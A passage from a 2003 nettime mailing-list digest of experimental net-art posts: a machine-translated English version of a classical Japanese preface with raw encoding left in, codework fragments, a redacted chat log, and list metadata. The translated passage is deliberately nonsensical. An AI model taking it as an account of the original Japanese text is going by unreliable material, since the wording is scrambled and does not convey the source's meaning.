-0800\nFrom: solipsis <solipsis {AT} hevanet.com>\nTo: Alan Sondheim <sondheim {AT} panix.com>\nSubject: Formation of old thing description\n\n\n\nFormation of old thing description\n\nThe new story sentence =E4=BC=8F (the =E3=81=B5) doing, you consider and (t=\nhe main thing) in the =E3=81=B5,\nMajesty emperor, obtain one and the optical house do, lead to three and cot=\ntage\ngrowth do the cartridge =E3=81=B5. Purple =E5=AE=B8 (it does and the gromme=\nt) manages and as for\nvirtue the hoof (stuffing) suffering () the =E3=81=B3, =E7=8E=84 =E6=89=88 =\n(the =E3=81=92 it is in the place where it\nbecomes extreme densely) =E5=9D=90 (the =E3=81=96) doing, as for conversion=\n the head of the boat (to)\n=E9=80=AE () it illuminates the =E3=81=B6 place, the cartridge =E3=81=B5. T=\nhe day float becoming moldy, =E6=9A=89 (=E3=81=B2\ntemporary) to pile up, in the cloud scattering =E3=81=A6 =E7=83=9F the non-=\n =E3=81=9A. The head =E5=B9=B6 it does\n(the =E3=81=82), =E6=9F=AF (it is obtaining) linking =E7=91=9E (the mark), =\nhistory (to do) the book (it does\nand the =E3=82=8B) it does not cut off the fact that it does, =E7=83=BD (th=\ne =E3=81=B2 which it flies) don't\nyou think? the line meaning () Mitsugi who is painted heavily (it sees and =\nthe next),\nthe prefecture (the =E3=81=B5) comes in vain and there is no month. Name is=\n higher than\nsentence life, the crown (the =E3=81=BE) the =E3=82=8A cartridge edge and t=\nhe =E8=AC=82 =E3=81=B2 yes (the =E3=81=B9) does\nvirtue even heaven quaintly.\n=E7=84=89 (Here), old quitting/words error =E5=BF=A4 (is passes) to spare, =\nharmony copper () the =E3=81=A1 =E3=81=A6,\nthe retainer the =E8=A9=94 =E3=82=8A doing September 18th of four from here=\n cheaply in ten thousand =E4=BE=B6\n=E8=AC=AC (the leash =E3=81=BE) of tip period =E3=82=8A complexity (the =E3=\n=81=BE =E3=81=98) as the righteousness the =E3=82=8C =E3=82=8B\ncoldly, =E7=A8=97 rice field flattering gratitude (the =E3=81=B2 obtaining =\nis the roughness) =E8=AA=A6 () =E6=92=B0\nrecord doing the old quitting/words of =E5=8B=85 language of the =E3=82=80 =\nplace, if the presentation\n=E3=81=9B it does and the =E3=82=80 questions and passes, you restrain, =E3=\n=81=A6 =E8=A9=94 effect (=E3=81=BB seeing thing) =E9=9A=A8\n(in the =E3=81=BE the =E3=81=BE), the child It takes in detail, =E5=BA=B6 (=\nthe wide) =E3=81=B2 =E3=81=AC. When nature =E3=82=8C,\nbeing on old, you spread the sentence word mind (word heart) and =E6=9C=B4 =\n(it does the =E3=81=BB), =E6=96=BC\n() you come especially and the letter which phrase structure are shaken and=\n namely\ndifficulty (one) do. It is based on to training in the =E5=B7=B2 and as for=\n the =E3=81=A6 expressing\nbarrel, the language (word) in heart =E9=80=AE () the =E3=81=9A, all (and) =\n=E3=81=8F sound appearance of\nthing furthermore it does the =E3=81=A1 =E3=81=A6 connecting barrel, from h=\nere long. Right (here)\nfrom here =E3=81=A1=E3=81=A6 now, =E6=88=96 (it is) in one phrase, sound tr=\naining to intersection in the\nbusiness =E3=82=90, or among one things, completely from here =E3=81=A1 =E3=\n=81=A6 record (to do training, the\n=E3=82=8B) it dies. Namely, the being visible of quitting/words reason (the=\n abnormal play)\ncoming makes note from here the =E3=81=A1 =E3=81=A6 clear, mind circumstanc=\nes (is and today) solution\n(with) the =E3=82=8A divination coming does not do furthermore note. =E4=BA=\n=A6 (And) surname (the =E3=81=86\n=E3=81=A2) =E6=96=BC coming, under day (the =E3=81=A1 =E3=81=92) the =E7=8E=\n=96 sand =E8=A8=B6 (ill-smelling) with the =E8=AC=82 =E3=81=B2, =E6=96=BC c=\noming\nto name, the band (you want) the letter the multi =E7=BE=85 =E6=96=AF (drop=\nping) with =E8=AC=82 =E3=81=B5, =E6=AD=A4 () the\ntype like the =E3=81=8F (you want the =E3=81=90 =E3=81=B2), the book (the o=\nrigin) in the =E9=9A=A8 not changing.\nMostly, (other things it is) heaven and earth creation (the =E3=81=82 =E3=\n=82=81 hammer to do be able\nto open the place where it records, the time) from beginning, the small Osa=\nmu rice\nfield (the beam is) world (to see) =E8=A8=96 () the =E3=82=8B. Below reason=\n and heaven Chuzu God\n(from it does),\nThe Hidaka day child wave limit building cormorant =E8=91=BA grass =E8=91=\n=BA non- combination (the\nbeach fungus =E3=81=86 wipes and bites and does, bites and) before the life=\n of the =E3=81=82 not\npassing (from ahead) upper volume (the firewood) with God Cipango Italy wav=\ne\ngratitude =E6=AF=98 old emperor (and the mark be and the =E3=82=8C =E3=81=\n=B3 this be completed and others to\nsee thing) below, the item =E9=99=80 world (only =E3=81=BB wastefulness doe=\ns) in the past medium\nvolume (in the firewood) with, large sparrow emperor (the =E3=81=BB only th=\ne =E3=81=96 coming is\nangle) below, small Osamu rice field Omiya (the beam the =E3=81=BB seeing a=\nnd) in the past\nbeaming (to do The firewood which it has) with you do, =E5=B9=B6 =E3=81=9B =\n=E3=81=A6 three volume record (do\n(the =E3=81=82 and) the =E3=82=8B) do, restrain and =E3=81=A6 presentation =\n(build and wait) the =E3=82=8B. The\nretainer cheaply ten thousand =E4=BE=B6, sincerity =E6=83=B6 sincerity we f=\near, the =E9=A0=93 neck =E9=A0=93 neck.\nHarmony copper five year New Year's Day =E5=BB=BF Isao five and the like wi=\nth respect to\neight day correct five rank the court noble (the =E3=81=82 =E3=81=9D of the=\n =E3=81=BB you see thickly)\ncheaply ten thousand =E4=BE=B6 $$ln2 Majesty and former discernment emperor=\n emperor.\nObtaining one, the optical house it does, virtue must be full in public con=\ncerning\nemperor rank. Leading to three, cottage growth it did and the cartridge =E3=\n=81=B5, three\nyears old (heaven and earth person) lead, conversion growth did the people.=\n Purple =E5=AE=B8\n(it does and the grommet) manages and, virtue the hoof (stuffing) suffering=\n () the =E3=81=B3,\n=E7=8E=84 =E6=89=88 (the =E3=81=92 it is in the place where it becomes extr=\neme densely) =E5=9D=90 (the =E3=81=96) doing,\nconverts and the head of the boat (to) =E9=80=AE () illuminates the =E3=81=\n=B6 place and the cartridge\n=E3=81=B5, \" purple =E5=AE=B8 (, the grommet)\" \" =E7=8E=84 =E6=89=88 (the =\n=E3=81=92 it is densely)\" it must be the Imperial\nPalace. Virtue conversion must spread to distant every nook and cranny. The=\n day float\nbecoming moldy, =E6=9A=89 (=E3=81=B2 temporary) to pile up, day to appear a=\nnd come out and shine\nextensively, =E7=91=9E trillion. In the cloud scattering =E3=81=A6 =E7=83=\n=9F like the smoking of the non- =E3=81=9A\nand the cloud it comes out and comes out and enters, but is not smoking, it=\n requires\nbeing, the celebration cloud. The head =E5=B9=B6 it does (the =E3=81=82), =\n=E6=9F=AF (it is obtaining) linking\nwhen =E7=91=9E (the mark), also connected reason thickly being flat at =E7=\n=91=9E trillion of the\nheads, those which appear. History (to do) the book (to do and the =E3=82=\n=8B) not to cut off\nthe fact that it does, history official always that kind of =E7=91=9E trill=\nion recording. =E7=83=BD\n(The =E3=81=B2 which it flies) don't you think? the line meaning () Mitsugi=\n who is painted\nheavily (you see and the next), must burn the =E7=83=BD fire many it seems =\nthat, it seems\nthat in addition needs many translations, morning Mitsugi from distant coun=\ntries. The\nprefecture (the =E3=81=B5) it comes in vain, the warehouse of Imperial Cour=\nt is the sky.\nSentence life, =E7=A6=B9 king of summer. Heaven quaintness and hot water ki=\nng of =E6=AE=B7. =E5=BA=B6\nSporadic partially the =E3=80=85 =E3=80=85 of the hand =E5=BA=B6, bottom th=\ne people. Old quitting/words of =E5=8B=85\nlanguage, heaven military affairs emperor is excluded the emperor descripti=\non which\nImperial order is done, with old quitting/words thing, the sentence. With C=\nhinese\ncharacter it is difficult to spread the sentence and =E6=96=BC () to come e=\nspecially and the\nletter which phrase structure are shaken and namely difficulty (one) to do,=\n to\nexpress composition phrase. As for those which are based on to training in =\nthe =E5=B7=B2 and\nas for the =E3=81=A6 expressing barrel, the language (word) in heart =E9=80=\n=AE () they express with\nthe =E3=81=9A and letter training, meaning having stopped leading old mind.=\n All (and) =E3=81=8F sound\nappearance of thing furthermore it does the =E3=81=A1 =E3=81=A6 connecting =\nbarrel, from here long, as\nfor those which express the sentence with letter sound, composition becomes=\n lengthy.\n\n\nhttp://www.linkclub.or.jp/~pip/ututu/\n\nhttp://www.hikyaku.com/dico/histxtg20.html\n\nhttp://www.linkclub.or.jp/~pip/ututu/kami/furukotobumi/jyo3.html\n\n\n\n\n\nDate:         Fri, 11 Apr 2003 10:37:38 +1000\nFrom: mez <netwurker {AT} HOTKEY.NET.AU>\nSubject: Re: P.Ohm 6\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nAt 07:42 AM 10/04/2003 -0400, you wrote:\n\n>fermentFuckin + mySaturation\n>LANs stretched 2 brokenPipeShe||Dreams\n>old.N + builtLikeALobedGigaByte\n>this chi[tinous]n+th[rob]is+ne[wbie]ck+mis.usedLustOrgans.\n>\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker/txts\n_\n_men[iscus_heart] plucking via broken bag.ga[u]ges_\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\nSubject: look over the edge\nDate: Tue, 08 Apr 2003 20:17:00 +0200\n\ndepth 0 0 0 0 FALSE FALSE  0000000\nn    s\n   o u     s\n           o     e s\n             m m      s\n                         \u00e9                   /\u00e9         s\n                               p    a    r        l\u00e9\n                                          u\n                                l   c\nde cela d\u00e9graff\u00e9s d'1 monde ca   q u \u00e9\ndes m_niteurs pos\u00e9s devant mes yeux par cent66667.aines\n0.000000 0.580968 0.764608 0.000000 0.009040 0.1\n1.000000 0.179032 0.390004 0.621212 1.000000 0 0\n0.764608 0.888147 1.000000 0.179032 0.390004 0.621212\n1.000000 0.000000 0.969697 0.969697 1.000000 0 0\nmais que se passe_t_il que m_arrive_t_il quelque chose d'improbable\ni don't understand this confusion in my brain\ni don't understand any of it\ni-s-a-y-i-d-o-n-t-k-n-o-w-w-h-e-r-e-i-a-m-i-d-o-n-t-k-n-o-w-w-h-a-t-i-d-o\ni-s-a-y-i-d-o-n-t-k-n-o-w-w-h-e-r-e-i-a-m-i-d-o-n-t-k-n-o-w-w-h-a-t-i-d-o\ni-s-a-y-i-d-o-n-t-k-n-o-w-w-h-e-r-e-i-a-m-i-d-o-n-t-k-n-o-w-w-h-a-t-i-d-o\ni-s-a-y-i-d-o-n-t-k-n-o-w-w-h-e-r-e-i-a-m-i-d-o-n-t-k-n-o-w-w-h-a-t-i-d-o\nje ne sais plus quoi faire\ni'm looking over the window\nc'est tout ce qu'il reste:\n\nle regard!\nla fen\u0119tre!\n\nce sont encore les seules choses d'\u0155 peut pr\u010ds s\u0171res ici\nnothing else & encore\ntout le reste\nle reste me semb0.0\nbump-layer FALSE 0.2 0.2 0.2 0.2\nlayer-one FALSE 0.7 0.7 0.7 0.7\n\n\n\n\n\n\n\n\n-- \npasc {AT} csaq\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org,convergence {AT} coollist.com\nFrom: mez <netwurker {AT} hotkey.net.au>\nSubject: *she gave herself [data.bas(eline)s]xxxx*\nDate: Wed, 09 Apr 2003 19:51:20 +1000\n\n\nNever give out your xxxxword or xxxx xxxxx number in an xxxxx conversation.\n(\n*nod*\n*she gave herself xxxx*\n*sigh*\n*sigh*\n:/\n:/\n:/\n?\n? with the code itself?\n[besides x&xs]\n[food for thought]\n[in]\n[or perhaps thats the book]\n[which would b me]\na xxxxxxx forum linked to a db backend, highly xxxxx\nabsolutely\naddict\nah well\nahh\nahh\nahh thx, yr a xxxxx\nahh who am i kidding there r loads of reasons\nahhh\nall this folklore is widely known among xxxxxs.\nall thru it\nalot?\nam\nand a localisted xxxxxx, based on xxx, so you could pick a xxxx and it \nwould tell you all the xxxxxxxxxxx\nand i don't think i'm 2 good at that\nand i get the flu?\nand now i'm stuck here FOR THE FUCKIN XXXXXXX!!\nand yr man stuff at work is....? []\nanyway\nanyway\nas long as it can be coupled with the practical\naww\nbrb\nbut *good* xxxx once xxxxxx never need to be touched again\nbut i wouldn't wish this hell on any1 else\nbut if\nbut she was definitely not a \"xxxx\"\nbut xxxs may be xxxs\nbut tell them thx, anyway\nchewing up the phone line again ?\ncode is easy,  trying to xxxx your thoughts into xxxxx is tricky\ncoding is easy\ncool\ncould i ask anymore qs?\ndefinitely cool\ndid xxxxx invite you to the xxx?\ndo you know what the xxx is ?\ndoesn't matter\ndon't they do that xxxx xxxxxxxxxxxxx of it every few years?\ndunno if i like it\neeeek\neheh\neheh\neheh\neheh\neheh no\neheh yes, indeed\neheheh\neheheh\nenuff victim rhetoric\nesp with company\nfood\nfree time\nget xxxxxx\nget this\ngetting picked up at 4ish\ngive her a xxxxxx from me\ngo figure\ngot drivers for it ?\nhad this prob b4 when i had to xxxx patch\nhave no idea really\nhave you kicked it ?\nheh\nheh\nheh\nheh\nheh\nheh\nheh yup\nhey i am from xxxxxxx...  i could cope\nhey, y the \"xxxx\" in yr nick btw?\nhmm\nhmm\nhmm 2 those projects....\nhmmm\nhmmm  food sounds like a good idea\nhmmm  i might have to go re-visit that\nhorrorshow ?\nhttp://dictionary.reference.com/search?q=xxxxxxxx\ni am still pondering\ni am thinking about xxxx\ni c\ni cant\ni don't mind them, but have never really got in2 them in a big way\ni go down stairs and xxxxxx\ni have to stand up and xxxxxxxxxxxxxx\ni just used \"xxxxxx\" in a sentence\ni kinda fringe on that, skirt around it my xxxxs\ni like the cold\ni love it\ni shall\ni used to live in xxxxxxxx\ni wonder how much i am going to xxxx :/\nif i had a xxxx and wasn't behind in my xxxxx i'd xxxxxx\nif i was xxxxx, i'd love 2 xxxxx\nif i wasn't so xxxxxxx-minded i'm sure i could be more xxxxx-oriented\nif you ever see my pc it is filled with xxxxxx\nif you meet\nif you want\ni'll just be really snooty until she does\ni'll just leave it alone for a while and hope it works\ni'll work it out\ni'm not a huge xxx xxxxx fan\ni'm notorious for it\ni'm sure it is\ni'm sure she will\nin the bizarre self serving xxxxxxxxxxxx community\nin the time i've come back 2 xxxxxx\nit also will\nit gets xxxx cold here\nits a xxxx day here 2day 2, i should get out in it really\nit's still playing on xxxxxxxxxx st isn't it ?\nits suddenly xxxx here\nk\nkeep talking\nkeeping the servers running\nlateral is a far better mindset\nlike...?\nlunch\nme 2\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmezbreeze {AT} hotmail.com says:\nmm ?\nmmm xxxxx not a bad idea\nmy xxx is going xxxx the xxxxx\nmy phone keeps turning itself off all the time\nmy printer won't work\nmy watch stopped working\nmy graph card died\nnice stuff\nnice, eh?\nno go\nnot sure i follow\nnope\nnope\nnothing at all\nnow i'm having trouble installing my printer\nNOW!!\noh well\nok\nok, go eat\nok, should u go get lunch?\nokie\nonly thing is i'm am uberxxxx\nooh\nor\nplus listening to this xxxx xxxxx vid i found\npost server collapse\npost-server collapse?\nprobably\nprobably\nprogramming is an art\nreading\nreading ok but no xxx going thru\nreboot\nright\nright\nright\nRXXXXXXX ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says:\nRXXXXXXX  ( {AT}  Work) says\n\n\n\n\nxxxxxxx\nshe needs looking after\nshe suggested it\nso xxxxs point it close to the xxxx\nso now this\nso u know wot r talking about\nso u seeing xxxxxx at the airport 2night?\nsorry back\nsorry didn't finish\nspecifics?\nstill mega-interested in this stuff\ntake tissues\nthat i shouldn't b here, perhaps?\nthat'll be sad\nthats partially y i hate being here 2\nthats what the guys here say\nthe biggest problem i have with learning to code is finding xxxxx to do\nthe book was great, such a challenge to read\nthe o' lifesaver, reboot\nthere is a great deal of stylistic xxxxxx to the code\nthey were all things that seemed like great idea\nthough i've only met one other person who knew about the xxxx reference\nthought i heard that on the xxxxx\ntried all that regular crap\ntried that\ntry that\ntwo last big ones\nu can tell i'm not a xxxxxxx, eh?\nu know from a xxxx xxxxxxx?\nu like the xxxx?\nu there or lunching?\nuber old school geek reference\num..printing?\nuninstall and re-install\nwell\nwell that got fixed\nwell thats how stupid i am then\nwhats it not doing ?\nwhats that telling you ?\nwhats wrong with lateral ?\nwho was that?\nwot do u normally have?\nwot u working on now?\nwow\nyeah\nyeah\nyeah\nyeah it doesn't look to bad,  i have the problem my little xxxxx has the \nfeeling of constant overcast\nyeah it sux\nyeah sucks\nyeah, but not sure what i want\nyes\nyes\nyes mum\nyes, indeed\nyou mean freakshow ?\nyup\nyuppers\n\n\n\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker/txts\n_\n_men[iscus_heart] plucking via broken bag.ga[u]ges_\n\n\n\n\n\nnettime unstable digest vol 42\nMon Apr 14 18:26:00 2003\n\n\nSubject: Alan Sondheim Web Mix\n    From: kernel32 <llacook {AT} YAHOO.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: evol\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\n\nSubject: _Visual Detailing is the New Word Order_\n    From: mez <netwurker {AT} HOTKEY.NET.AU>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: 1/2 coupled baghdad2.mov for epoetry 2003\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: Re:  Language is Your Enemy\n    From: +   lo_y.  + <loy {AT} myrealbox.com>\n    To: syndicate {AT} anart.no\n\nSubject: _DAx_\n    From: \".par.sell.\" <netwurker {AT} hotkey.net.au>\n    To: 7-11 {AT} mail.ljudmila.org,_arc.hive_ {AT} lm.va.com.au,audiovision {AT} egroups.com,\n\nSubject: <no subject>\n    From: jumpy <8088234 {AT} invisible.gq.nu>\n    To: syndicate {AT} anart.no\n\nSubject: elegy for flowers\n    From: \"jumpy\" <8088234 {AT} invisible.gq.nu>\n    To: syndicate {AT} anart.no\n\nSubject: Formation of old thing description\n    From: solipsis <solipsis {AT} hevanet.com>\n    To: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: Re: P.Ohm 6\n    From: mez <netwurker {AT} HOTKEY.NET.AU>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: look over the edge\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\n\nSubject: *she gave herself [data.bas(eline)s]xxxx*\n    From: mez <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org,convergence {AT} coollist.com\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Tue, 15 Apr 2003 11:57:10 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200304162348.h3GNmAV26701 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0304/msg00064.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 42"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00008",
                "content": "\nDate: Sat, 29 Mar 2003 18:59:22 -0500\nFrom: nettime-l-request {AT} bbs.thing.net\nTo: nettime {AT} bbs.thing.net\nSubject: BOUNCE nettime-l {AT} bbs.thing.net: Approval required:    Non-member submission from [integer {AT} www.god-emil.dk]   \n\n>From nettime {AT} bbs.thing.net Sat Mar 29 18:59:21 2003\nReceived: from www.god-emil.dk (port112.ds1-vbr.adsl.cybercity.dk [212.242.58.51])\n\tby bbs.thing.net (8.11.6/8.11.6) with ESMTP id h2TNxK513285\n\tfor <nettime-l {AT} bbs.thing.net>; Sat, 29 Mar 2003 18:59:20 -0500\nReceived: (from integer {AT} localhost)\n\tby www.god-emil.dk (8.11.1/8.11.1) id h2TIddR44749;\n\tSat, 29 Mar 2003 19:39:39 +0100 (CET)\n\t(envelope-from integer)\nDate: Sat, 29 Mar 2003 19:39:39 +0100 (CET)\nFrom: integer {AT} www.god-emil.dk\nMessage-Id: <200303291839.h2TIddR44749 {AT} www.god-emil.dk>\nTo: nettime-l {AT} bbs.thing.net\nSubject: \\\\ akumulat!ng fattttt\n\n\n\n\nDate: Wed, 2 Apr 2003 22:22:41 +0300\nFrom: Alexei Shulgin <alexei {AT} easylife.org>\nTo: Florian Cramer <cantsin {AT} zedat.fu-berlin.de>\nSubject: of any interest?\n\n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .3\nSIM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .3\nPIN . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .3\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .5\n. . . . . . . . . . . . . . . . . . . . . . .5\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .6\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .7\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .7\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .7\n. . . . . . . . . . . 